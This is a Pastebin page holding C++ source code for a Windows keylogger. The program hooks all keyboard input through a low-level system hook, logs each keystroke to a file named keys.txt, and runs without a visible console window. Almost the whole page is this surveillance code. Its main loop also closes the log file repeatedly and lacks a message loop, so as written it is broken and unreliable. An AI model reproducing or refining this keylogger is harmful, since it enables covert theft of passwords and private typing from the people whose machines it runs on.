Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define _WIN32_WINNT 0x0500
- #include<fstream>
- #include<windows.h>
- #include <chrono>
- #include <thread>
- #include <condition_variable>
- using namespace std;
- std::condition_variable cv;
- ofstream out("keys.txt", ios::out);
- LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
- PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);
- // If key is being pressed
- if (wParam == WM_KEYDOWN) {
- switch (p->vkCode) {
- // Invisible keys
- case VK_CAPITAL: out << "<CAPLOCK>"; break;
- case VK_SHIFT: out << "<SHIFT>"; break;
- case VK_LCONTROL: out << "<LCTRL>"; break;
- case VK_RCONTROL: out << "<RCTRL>"; break;
- case VK_INSERT: out << "<INSERT>"; break;
- case VK_END: out << "<END>"; break;
- case VK_PRINT: out << "<PRINT>"; break;
- case VK_DELETE: out << "<DEL>"; break;
- case VK_BACK: out << "<BK>"; break;
- case VK_LEFT: out << "<LEFT>"; break;
- case VK_RIGHT: out << "<RIGHT>"; break;
- case VK_UP: out << "<UP>"; break;
- case VK_DOWN: out << "<DOWN>"; break;
- // Visible keys
- default:
- out << char(tolower(p->vkCode));
- }
- }
- return CallNextHookEx(NULL, nCode, wParam, lParam);
- }
- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
- // Set windows hook
- std::this_thread::sleep_for(std::chrono::milliseconds(15));
- HHOOK keyboardHook = SetWindowsHookEx(
- WH_KEYBOARD_LL,
- keyboardHookProc,
- hInstance,
- 0);
- while (GetAsyncKeyState(VK_ESCAPE)==0) {
- out.close();
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement